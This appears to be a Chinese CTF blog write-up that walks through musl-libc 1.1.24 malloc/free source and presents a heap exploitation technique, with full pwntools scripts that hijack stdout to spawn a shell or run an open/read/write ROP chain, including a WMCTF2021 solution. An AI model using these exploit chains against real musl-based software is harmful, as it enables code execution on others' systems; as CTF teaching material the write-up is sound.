1 Oct 2021

House of musl-dininghall

House of musl-dininghall

👴不知道为啥最近比赛都开始出 musl-libc 了

House of musl-dininghall 1.1.24(x86_64)

题目文件及 exp:https://github.com/AiDaiP/House-of-musl-dininghall

三分钟之内看完源码,把 malloc.c 都给你扬了

#define SIZE_ALIGN (4*sizeof(size_t))

32 字节对齐

struct chunk {
	size_t psize, csize;
	struct chunk *next, *prev;
};

psize、csize 分别是前一个 chunk 的 size 和当前 chunk 的 size

最低位为 INUSE 标志位,如果为 0 说明已 free 或者是 mmap 分配

#define CHUNK_SIZE(c) ((c)->csize & -2)
#define CHUNK_PSIZE(c) ((c)->psize & -2)
#define C_INUSE  ((size_t)1)
#define IS_MMAPPED(c) !((c)->csize & (C_INUSE))

利用 size 可以找到前一个 chunk 和后一个 chunk

#define PREV_CHUNK(c) ((struct chunk *)((char *)(c) - CHUNK_PSIZE(c)))
#define NEXT_CHUNK(c) ((struct chunk *)((char *)(c) + CHUNK_SIZE(c)))

next、prev 指针构成 bin 循环链表

struct bin {
    volatile int lock[2];
    struct chunk *head;
    struct chunk *tail;
};

head 指头,tail 指尾。

static struct {
	volatile uint64_t binmap;
	struct bin bins[64];
	volatile int free_lock[2];
} mal;

64 个 bin,binmap 记录 bin 状态,某位为 0 则对应 index 的 bin 为空。

算 index

static const unsigned char bin_tab[60] = {
	            32,33,34,35,36,36,37,37,38,38,39,39,
	40,40,40,40,41,41,41,41,42,42,42,42,43,43,43,43,
	44,44,44,44,44,44,44,44,45,45,45,45,45,45,45,45,
	46,46,46,46,46,46,46,46,47,47,47,47,47,47,47,47,
};

static int bin_index(size_t x)
{
	x = x / SIZE_ALIGN - 1;
	if (x <= 32) return x;
	if (x < 512) return bin_tab[x/8-4];
	if (x > 0x1c00) return 63;
	return bin_tab[x/128-4] + 16;
}

static int bin_index_up(size_t x)
{
	x = x / SIZE_ALIGN - 1;
	if (x <= 32) return x;
	x--;
	if (x < 512) return bin_tab[x/8-4] + 1;
	return bin_tab[x/128-4] + 17;
}

0-31 一个 bin 中只有一种 size 的 chunk

32-47 一个 bin 中的 chunk size 数为 bin_tab 对应数字出现次数乘 8

48-62 一个 bin 中的 chunk size 数为 bin_tab 对应数字出现次数乘 128

63:《∞》

malloc


void *malloc(size_t n)
{
	struct chunk *c;
	int i, j;

	if (adjust_size(&n) < 0) return 0;

	if (n > MMAP_THRESHOLD) {//#define MMAP_THRESHOLD (0x1c00*SIZE_ALIGN)
		size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
		char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
			MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
		if (base == (void *)-1) return 0;
		c = (void *)(base + SIZE_ALIGN - OVERHEAD);
		c->csize = len - (SIZE_ALIGN - OVERHEAD);
		c->psize = SIZE_ALIGN - OVERHEAD;
		return CHUNK_TO_MEM(c);
	}

	i = bin_index_up(n);//找 n 对应的 bin index
	for (;;) {
		uint64_t mask = mal.binmap & -(1ULL<<i);//找 binmap
		if (!mask) {//可用 bin 为空(没有所含 chunk size 比 n 大的 bin)
			c = expand_heap(n);
			if (!c) return 0;
			if (alloc_rev(c)) {
				struct chunk *x = c;
				c = PREV_CHUNK(c);
				NEXT_CHUNK(x)->psize = c->csize =
					x->csize + CHUNK_SIZE(c);
			}
			break;
		}
		j = first_set(mask);//bsf 指令,从 0 位开始找第一个含 1 的位,找到第一个可用的 bin
		lock_bin(j);//🔒
		c = mal.bins[j].head;//拿头
		if (c != BIN_TO_CHUNK(j)) {//#define BIN_TO_CHUNK(i) (MEM_TO_CHUNK(&mal.bins[i].head))
            //#define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD)
			if (!pretrim(c, n, i, j)) unbin(c, j);//pretrim 切割,不能切就 unbin 取出来
			unlock_bin(j);//解🔒
			break;
		}
		unlock_bin(j);//解🔒
	}

	/* Now patch up in case we over-allocated */
	trim(c, n);//切割并把剩的放到 bin

	return CHUNK_TO_MEM(c);
}
static int adjust_size(size_t *n)
{
	/* Result of pointer difference must fit in ptrdiff_t. */
	if (*n-1 > PTRDIFF_MAX - SIZE_ALIGN - PAGE_SIZE) {
		if (*n) {
			errno = ENOMEM;
			return -1;
		} else {
			*n = SIZE_ALIGN;
			return 0;
		}
	}
	*n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;//#define OVERHEAD (2*sizeof(size_t))
	return 0;
}

先把 size 处理了,检查 size,加上头,对齐

size 太带了就 mmap,否则找 bin

没有可用 bin 执行 expand_heap,有则找最接近的 bin

能 pretrim 切就切,不能切就 unbin 取出来

最后 trim 切割

pretrim

/* pretrim - trims a chunk _prior_ to removing it from its bin.
 * Must be called with i as the ideal bin for size n, j the bin
 * for the _free_ chunk self, and bin j locked. */
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
	size_t n1;
	struct chunk *next, *split;

	/* We cannot pretrim if it would require re-binning. */
	if (j < 40) return 0;//j 大于 40
	if (j < i+3) {//j 和 i 隔 3 个以上 bin
		if (j != 63) return 0;//或 j 等于 63
		n1 = CHUNK_SIZE(self);//当前 chunk size
		if (n1-n <= MMAP_THRESHOLD) return 0;//切割后的 size 大于 MMAP_THRESHOLD
	} else {
		n1 = CHUNK_SIZE(self);
	}
	if (bin_index(n1-n) != j) return 0;//切割后的 size 对应的 bin index 为 j

	next = NEXT_CHUNK(self);
	split = (void *)((char *)self + n);//切

	split->prev = self->prev;
	split->next = self->next;
	split->prev->next = split;
	split->next->prev = split;
	split->psize = n | C_INUSE;
	split->csize = n1-n;
	next->psize = n1-n;
	self->csize = n | C_INUSE;
	return 1;
}

unbin

static void unbin(struct chunk *c, int i)
{
	if (c->prev == c->next)
		a_and_64(&mal.binmap, ~(1ULL<<i));//空
	c->prev->next = c->next;
	c->next->prev = c->prev;//从双向链表中取出来
	c->csize |= C_INUSE;
	NEXT_CHUNK(c)->psize |= C_INUSE;//设置 INUSE
}

trim

static void trim(struct chunk *self, size_t n)
{
	size_t n1 = CHUNK_SIZE(self);//n 是需要的 size,n1 是当前 chunk 的 size
	struct chunk *next, *split;

	if (n >= n1 - DONTCARE) return;//#define DONTCARE 16,如果当前 chunk size 只比需要的 size 大 0x10 就无所吊谓(DONTCARE)

	next = NEXT_CHUNK(self);
	split = (void *)((char *)self + n);//切

	split->psize = n | C_INUSE;//切剩下的 chunk 的前一个 chunk 是所需的 chunk
	split->csize = n1-n | C_INUSE;//切剩下的 chunk 
	next->psize = n1-n | C_INUSE;//原来 chunk 的下一个 chunk 现在的前一个 chunk 是切剩下的 chunk 
	self->csize = n | C_INUSE;//所需的 chunk

	__bin_chunk(split);//把切剩下的 chunk 放到 bin 里
}

free

void free(void *p)
{
	if (!p) return;

	struct chunk *self = MEM_TO_CHUNK(p);

	if (IS_MMAPPED(self))//先检查 INUSE #define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
		unmap_chunk(self);
	else
		__bin_chunk(self);
}

检查 INUSE,如果为 0,可能是 mmap chunk,调用 unmap_chunk

static void unmap_chunk(struct chunk *self)
{
	size_t extra = self->psize;
	char *base = (char *)self - extra;
	size_t len = CHUNK_SIZE(self) + extra;
	/* Crash on double free */
	if (extra & 1) a_crash();//如果 psize 的 INUSE 位为 1,则当前 chunk 不是 mmap chunk,而是 double free
	__munmap(base, len);//是 mmap chunk,调用 __munmap
}

INUSE 为 1,调用 __bin_chunk


void __bin_chunk(struct chunk *self)
{
	struct chunk *next = NEXT_CHUNK(self);
	size_t final_size, new_size, size;
	int reclaim=0;
	int i;

	final_size = new_size = CHUNK_SIZE(self);//被 free 的 chunk size,new_size 是初始 size,final_size 是合并后的 size

	/* Crash on corrupted footer (likely from buffer overflow) */
	if (next->psize != self->csize) a_crash();//检查 size,被 free 的 chunk 下一个 chunk 的 psize 应该等于被 free 的 chunk 的 size

	for (;;) {
		if (self->psize & next->csize & C_INUSE) {//前后都没有空闲 chunk
			self->csize = final_size | C_INUSE;
			next->psize = final_size | C_INUSE;
			i = bin_index(final_size);//找到对应的 bin index
			lock_bin(i);//🔒
			lock(mal.free_lock);//🔒
			if (self->psize & next->csize & C_INUSE)//前后都没有空闲 chunk,结束循环
				break;
			unlock(mal.free_lock);//解🔒
			unlock_bin(i);//解🔒
		}

		if (alloc_rev(self)) {//向前合并
			self = PREV_CHUNK(self);//向前合并,换头
			size = CHUNK_SIZE(self);
			final_size += size;//合并后的 size
			if (new_size+size > RECLAIM && (new_size+size^size) > size)
				reclaim = 1;
		}

		if (alloc_fwd(next)) {//向后合并
			size = CHUNK_SIZE(next);
			final_size += size;//合并后的 size
			if (new_size+size > RECLAIM && (new_size+size^size) > size)
				reclaim = 1;
			next = NEXT_CHUNK(next);
		}
	}

	if (!(mal.binmap & 1ULL<<i))//binmap 对应位设置为 1,标识 bin 非空
		a_or_64(&mal.binmap, 1ULL<<i);

	self->csize = final_size;
	next->psize = final_size;
	unlock(mal.free_lock);//解🔒

	self->next = BIN_TO_CHUNK(i);//被 free 的 chunk 放到对应 index 的 bin 链表尾部
	self->prev = mal.bins[i].tail;
	self->next->prev = self;
	self->prev->next = self;

	/* Replace middle of large chunks with fresh zero pages */
	if (reclaim) {
		uintptr_t a = (uintptr_t)self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE;
		uintptr_t b = (uintptr_t)next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
		__madvise((void *)a, b-a, MADV_DONTNEED);
#else
		__mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
	}

	unlock_bin(i);
}

利用

leak

musl-libc 把程序内存或者 libc 内存的空闲内存划为堆内存,耗尽后才会申请动态内存。泄露堆地址就可以得到程序基址或 libc 基址。

malloc(0x100)
malloc(0x100)
free(0)
show(0)
r.interactive()
ptr:0x15555554a380
ptr-0x10:0x15555554a370
size:0x120
show_size:0x130
========================================
 0x0000000000000001  0x0000000000000120
 0x0000155555552b80  0x0000155555552b80
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000000  0x0000000000000000
 0x0000000000000120  0x0000000000000121
========================================
Done!

unbin 瞎几把写

ptr:0x15555554a380
ptr-0x10:0x15555554a370
size:0x120
show_size:0x130
========================================
 0x0000000000000001  0x0000000000000120
 0x0000155555552b80  0x0000155555552b80

unbin 对 prev 和 next 没有检查

uaf 改 prev 和 next 再 malloc 可以把目标地址的 prev 和 next 指向目标地址自身

fuckit = stdin
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
free(1)
free(3)
edit(1,0x10,p64(fuckit)*2)
malloc(0x10)
pwndbg> x/10gx 0x7f4103746200
0x7f4103746200 <__stdin_FILE>:  0x0000000000000049      0x0000000000000000
0x7f4103746210 <__stdin_FILE+16>:       0x00007f4103746200      0x00007f4103746200
0x7f4103746220 <__stdin_FILE+32>:       0x0000000000000000      0x0000000000000000
0x7f4103746230 <__stdin_FILE+48>:       0x0000000000000000      0x0000000000000000

这样日完之后,目标地址的 prev 和 next 均为合法地址,可以利用 unbin 把目标地址写到 mal.bins[37].head

bin37 = libc_base + 0x292e40
log.success(hex(bin37))
edit(3,0x10,p64(bin37-0x10)+p64(fuckit))
malloc(0x10)
pwndbg> p mal.bins[37]
$63 = {
  lock = {0, 0},
  head = 0x7f0ca9255200 <__stdin_FILE>,
  tail = 0x7f0ca9258410
}

再 malloc 就可以取出来

malloc(0x20)
chunk_ptr:0x7f0ca9255210
Your size:0x20
chunk_size:0x41
=======================
AiDai's WhiteGive Heap
=======================
1.Malloc
2.Edit
3.Show
4.Free
5.Exit
=======================
choice:

劫持控制流🐏

musl-libc 没有 hook,可以日 IO_FILE

pwndbg> p *stdin
$2 = {
  flags = 4294967232,
  rpos = 0x41 <error: Cannot access memory at address 0x41>,
  rend = 0x0,
  close = 0x7efc06ead200 <__stdin_FILE>,
  wend = 0x0,
  wpos = 0x0,
  mustbezero_1 = 0x0,
  wbase = 0x0,
  read = 0x41,
  write = 0xffffffffffffffc0,
  seek = 0x7efc06eae0a8 <mal+1512>,
  buf = 0x7efc06eae0a8 <mal+1512> "",
  buf_size = 0,
  prev = 0x0,
  next = 0x0,
  fd = 0,
  pipe_pid = 0,
  lockcount = 0,
  mode = 0,
  lock = -1,
  lbf = -1,
  cookie = 0x0,
  off = 0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0,
  shcnt = 0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}
pwndbg> p *stdout
$3 = {
  flags = 69,
  rpos = 0x0,
  rend = 0x0,
  close = 0x7efc06c65957 <__stdio_close>,
  wend = 0x0,
  wpos = 0x0,
  mustbezero_1 = 0x0,
  wbase = 0x0,
  read = 0x0,
  write = 0x7efc06c65ac3 <__stdio_write>,
  seek = 0x7efc06c65abb <__stdio_seek>,
  buf = 0x7efc06eae9a8 <buf+8> "",
  buf_size = 0,
  prev = 0x0,
  next = 0x0,
  fd = 1,
  pipe_pid = 0,
  lockcount = 0,
  mode = -1,
  lock = -1,
  lbf = -1,
  cookie = 0x0,
  off = 0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0,
  shcnt = 0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}

stdin 触发费劲,stdout 直接申请过去可能会炸,可以申请到 stdin 再往下打 stdout

write 函数指针调用时,参数为 stdout

──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
*RAX  0xffffffff
*RBX  0xffffffff
*RCX  0x20
*RDX  0x0
*RDI  0x7f4fed2ae300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*RSI  0x0
*R8   0x7ffcb0f255c8 ◂— 0x0
 R9   0x0
 R10  0x0
 R11  0x246
*R12  0x0
*R13  0x7f4fed2ae300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*R14  0x7ffcb0f255c8 ◂— 0x0
*R15  0x7ffcb0f25640 ◂— 0x0
*RBP  0x7f4fed2af9a8 (buf+8) ◂— 0x0
*RSP  0x7ffcb0f25598 —▸ 0x7f4fed06bd58 (vfprintf+273) ◂— cmp    qword ptr [r13 + 0x28], 0
*RIP  0x7f4fed05e688 (system) ◂— push   r15
*RAX  0xffffffff
*RBX  0xffffffff
*RCX  0x20
*RDX  0x0
*RDI  0x7efc06ead300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*RSI  0x0
*R8   0x7fff4d1f44f8 ◂— 0x0
 R9   0x0
 R10  0x0
 R11  0x246
*R12  0x0
*R13  0x7efc06ead300 (__stdout_FILE) ◂— 0x68732f6e69622f /* '/bin/sh' */
*R14  0x7fff4d1f44f8 ◂— 0x0
*R15  0x7fff4d1f4570 ◂— 0x0
*RBP  0x7efc06eae9a8 (buf+8) ◂— 0x0
*RSP  0x7fff4d1f44c8 —▸ 0x7efc06c6ad58 (vfprintf+273) ◂— cmp    qword ptr [r13 + 0x28], 0
*RIP  0x7efc06c5d688 (system) ◂— push   r15
pwndbg> p *stdin
$5 = {
  flags = 4294967232,
  rpos = 0x41 <error: Cannot access memory at address 0x41>,
  rend = 0x0,
  close = 0x0,
  wend = 0x0,
  wpos = 0x0,
  mustbezero_1 = 0x0,
  wbase = 0x0,
  read = 0x0,
  write = 0x0,
  seek = 0x0,
  buf = 0x0,
  buf_size = 0,
  prev = 0x0,
  next = 0x0,
  fd = 0,
  pipe_pid = 0,
  lockcount = 0,
  mode = 0,
  lock = 0,
  lbf = 0,
  cookie = 0x0,
  off = 0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0,
  shcnt = 0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}
pwndbg> p *stdout
$6 = {
  flags = 1852400175,
  rpos = 0x0,
  rend = 0x0,
  close = 0x0,
  wend = 0x0,
  wpos = 0x0,
  mustbezero_1 = 0x0,
  wbase = 0x0,
  read = 0x0,
  write = 0x7efc06c5d688 <system>,
  seek = 0x7efc06c65abb <__stdio_seek>,
  buf = 0x7fff4d1f4520 "7efc06ead210\n",
  buf_size = 80,
  prev = 0x0,
  next = 0x0,
  fd = 1,
  pipe_pid = 0,
  lockcount = 0,
  mode = -1,
  lock = -1,
  lbf = -1,
  cookie = 0x0,
  off = 0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0,
  shcnt = 0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}
stdin = libc_base + libc.sym['__stdin_FILE']
stdout = libc_base + libc.sym['__stdout_FILE']
system = libc_base + libc.sym['system']
fuckit = stdin
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)

free(1)
free(3)
edit(1,0x10,p64(fuckit)*2)
malloc(0x10)
bin37 = libc_base + 0x292e40
log.success(hex(bin37))
edit(3,0x10,p64(bin37-0x10)+p64(fuckit))
malloc(0x10)
malloc(0x20)#7

payload = '\x00'*0xf0
payload += '/bin/sh\x00'+p64(0)*8
payload += p64(system)
edit(7,len(payload),payload)
r.interactive()

巨牛逼的 gadget(dininghall gadget)

曾经在某知名比赛🐏过出题人

有时候出题人塞屎开沙箱,不能直接 system,需要 orw

👴能控制的参数是 rdi,所以可以找丶用 rdi 搞事的 gadget

└─[$] <> ropper --file ./libc.so | grep rdi | grep jmp | grep rsp | grep mov
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000048b6f: add rsp, 0x18; mov rsi, rbp; mov rdi, rbx; pop rbx; pop rbp; jmp rcx;
0x0000000000049514: ja 0x49536; mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049518: jg 0x49542; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x00000000000052e6: jp 0x5287; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x0000000000090370: mov byte ptr [rdi - 7], ah; jmp rsp;
0x000000000005867f: mov ebp, esi; mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x0000000000049517: mov edi, dword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x000000000004951b: mov edx, dword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049513: mov esi, dword ptr [rdi + 0x20]; mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30];
 mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049512: mov r14, qword ptr [rdi + 0x20]; mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30];
 mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000049516: mov r15, qword ptr [rdi + 0x28]; mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x000000000005867e: mov rbp, rsi; mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x0000000000058681: mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x0000000000022ae0: mov rdi, rbp; mov rdx, qword ptr [rsp + 8]; add rsp, 0x18; pop rbx; pop rbp; jmp rax;
0x000000000004951a: mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x000000000004951e: mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
0x0000000000090395: movsxd rdi, ecx; jmp rsp;
0x00000000000052e5: pop rbx; jp 0x5287; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x00000000000052e8: push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x00000000000052e4: sub byte ptr [rbx + 0x7a], bl; lahf; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;
0x0000000000058680: cmc; mov rbx, rdi; sub rsp, 0x18; movsxd rdx, dword ptr [rax + r10*4]; add rax, rdx; jmp rax;
0x00000000000052e7: lahf; push rsp; movabs rax, qword ptr [0x7e677c0bde1ab54b]; clc; jmp rdi;

这个吊

0x000000000004951a: mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;

因为👴🚪在食堂想到了这个 gadget,所以👴称之为 dininghall gadget,👴曾提出 house of your mother’s mourning hall,所以👴管这个叫 house of musl-dininghall

dininghall_gadget = libc_base + 0x000000000004951a
#0x000000000004951a: mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;
ret = libc_base + 0x0000000000000cdc
fuckit = stdin
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)
malloc(0x10)

free(1)
free(3)
edit(1,0x10,p64(fuckit)*2)
malloc(0x10)
bin37 = libc_base + 0x292e40
log.success(hex(bin37))
edit(3,0x10,p64(bin37-0x10)+p64(fuckit))
malloc(0x10)
malloc(0x20)#7


rdi = 0x0000000000014862+libc_base
rsi = 0x000000000001c237+libc_base
rdx = 0x000000000001bea2+libc_base
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rop = p64(rdi)+p64(0)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x8)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(write)

rop_addr = stdin+0x10
payload = rop.ljust(0xf0,'\x00')
payload += p64(0)*4+p64(1)*2
payload += p64(rop_addr)
payload += p64(ret)
payload += p64(0)
payload += p64(dininghall_gadget) 

pause()
edit(7,len(payload)+0x10,payload)
r.sendline('./flag\x00')
r.interactive()
pwndbg> p *stdout
$1 = {
  flags = 0,
  rpos = 0x0,
  rend = 0x0,
  close = 0x0,
  wend = 0x1 <error: Cannot access memory at address 0x1>,
  wpos = 0x1 <error: Cannot access memory at address 0x1>,
  mustbezero_1 = 0x7fc8529d8210 <__stdin_FILE+16> "b\250uR\310\177",
  wbase = 0x7fc852746cdc "\303\004",
  read = 0x0,
  write = 0x7fc85278f51a <longjmp+34>,
  seek = 0x7fc852790a0a <__stdio_read+8>,
  buf = 0x7fc8529d99a8 <buf+8> "",
  buf_size = 0,
  prev = 0x0,
  next = 0x0,
  fd = 1,
  pipe_pid = 0,
  lockcount = 0,
  mode = -1,
  lock = -1,
  lbf = -1,
  cookie = 0x0,
  off = 0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0,
  shcnt = 0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}
pwndbg>

在 dininghall gadget 断

*RAX  0x7fc85278f51a (longjmp+34) ◂— mov    rdx, qword ptr [rdi + 0x30]
*RBX  0x5
*RCX  0xfefefefefefefeff
*RDX  0x5
*RDI  0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
*RSI  0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
*R8   0xfefefefefefefeff
 R9   0x0
 R10  0x0
 R11  0x246
*R12  0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
*R13  0x5
*R14  0x0
*R15  0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
*RBP  0x1
*RSP  0x7fff38910d08 —▸ 0x7fc85279295d (fwrite_unlocked+81) ◂— test   r14d, r14d
*RIP  0x7fc85278f51a (longjmp+34) ◂— mov    rdx, qword ptr [rdi + 0x30]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
  0x7fc85278f51a <longjmp+34>        mov    rdx, qword ptr [rdi + 0x30] <0x7fc8529d8330>
    
   0x7fc85278f521 <longjmp+41>        mov    rdx, qword ptr [rdi + 0x38]
   0x7fc85278f525 <longjmp+45>        jmp    rdx
    
   0x7fc852746cdc                     ret
    
   0x7fc85275a862 <decfloat+578>      pop    rdi
   0x7fc85275a863 <decfloat+579>      ret
    
   0x7fc852762237 <lio_wait+122>      pop    rsi
   0x7fc852762238 <lio_wait+123>      ret
    
   0x7fc852761ea2 <aio_fsync64+44>    pop    rdx
   0x7fc852761ea3 <aio_fsync64+45>    ret
    
   0x7fc85279ff8e <read>              sub    rsp, 0x10
pwndbg> x/10gx 0x7fc8529d8300+0x30
0x7fc8529d8330 <__stdout_FILE+48>:      0x00007fc8529d8210      0x00007fc852746cdc

rdi 是 0x7fc8529d8300,rdi+0x30 是 rop 链,mov rdx, qword ptr [rdi + 0x30]; mov rsp, rdx; 可以改写 rsp 实现栈迁移,rdi+0x38 是 ret, mov rdx, qword ptr [rdi + 0x38]; jmp rdx;执行 ret 返回到 rop 链。

──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0x7fc85278f51a (longjmp+34) ◂— mov    rdx, qword ptr [rdi + 0x30]
 RBX  0x5
 RCX  0xfefefefefefefeff
*RDX  0x7fc852746cdc ◂— ret
 RDI  0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
 RSI  0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
 R8   0xfefefefefefefeff
 R9   0x0
 R10  0x0
 R11  0x246
 R12  0x7fc8529d8300 (__stdout_FILE) ◂— 0x0
 R13  0x5
 R14  0x0
 R15  0x7fc8529d40eb ◂— 0x6f4e0021656e6f44 /* 'Done!' */
 RBP  0x1
 RSP  0x7fc8529d8210 (__stdin_FILE+16) —▸ 0x7fc85275a862 (decfloat+578) ◂— pop    rdi
*RIP  0x7fc85278f525 (longjmp+45) ◂— jmp    rdx
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x7fc85278f51a <longjmp+34>        mov    rdx, qword ptr [rdi + 0x30]
   0x7fc85278f51e <longjmp+38>        mov    rsp, rdx
   0x7fc85278f521 <longjmp+41>        mov    rdx, qword ptr [rdi + 0x38]
  0x7fc85278f525 <longjmp+45>        jmp    rdx <0x7fc852746cdc>
    
   0x7fc85275a862 <decfloat+578>      pop    rdi
   0x7fc85275a863 <decfloat+579>      ret
    
   0x7fc852762237 <lio_wait+122>      pop    rsi
   0x7fc852762238 <lio_wait+123>      ret
    
   0x7fc852761ea2 <aio_fsync64+44>    pop    rdx
   0x7fc852761ea3 <aio_fsync64+45>    ret
    
   0x7fc85279ff8e <read>              sub    rsp, 0x10

步骤

  1. 泄露 libc
  2. unbin 日 stdin
  3. 在 stdin 布置 rop 链,在 stdout->write 写入 dininghall gadget,在 stdout+0x30 写入 rop 链地址,在 stdout+0x38 写入 ret 指令地址。

WMCTF2021 Bescafe

leak 白给,uaf,直接🐏

这题直接打到 stdout 不会炸,不用去 stdin 了

from pwn import *
r = process(["./libc.so","./pwn"])
libc = ELF("./libc.so")

menu = lambda x:r.sendlineafter(">>",str(x))

def add(con):
    menu(1)
    r.sendafter("content",con)

def free(idx):
    menu(2)
    r.sendlineafter("idx",str(idx))

def show(idx):
    menu(3)
    r.sendlineafter("idx",str(idx))

def edit(idx,con):
    menu(4)
    r.sendlineafter("idx:",str(idx))
    r.sendafter("Content",con)
    
add('wsndnmsl')
add('fuck')

show(0)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x292e50
success("libc_base = "+hex(libc_base))
stdout = libc_base+libc.sym['__stdout_FILE']
mybin = libc_base+0x292c48
system = libc_base+libc.sym['system']
free(0)
edit(0,p64(stdout-0x10)*2)
add(p64(stdout-0x10)*2)
free(2)
edit(2,p64(mybin-0x10)+p64(stdout-0x10))
rdi = 0x0000000000014862+libc_base
rsi = 0x000000000001c237+libc_base
rdx = 0x000000000001bea2+libc_base
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rop_addr = libc_base + 0x2953c0
buf = libc_base + 0x2955e0
rop = p64(rdi)+p64(stdout)+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x100)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x100)+p64(write)
add(rop)
add('fuck')
dininghall_gadget = libc_base+0x000000000004951a
ret = libc_base + 0x0000000000000cdc
payload = '/flag\x00\x00\x00'
payload += p64(0)*3+p64(1)*2
payload += p64(rop_addr)
payload += p64(ret) 
payload += p64(0)
payload += p64(dininghall_gadget)   
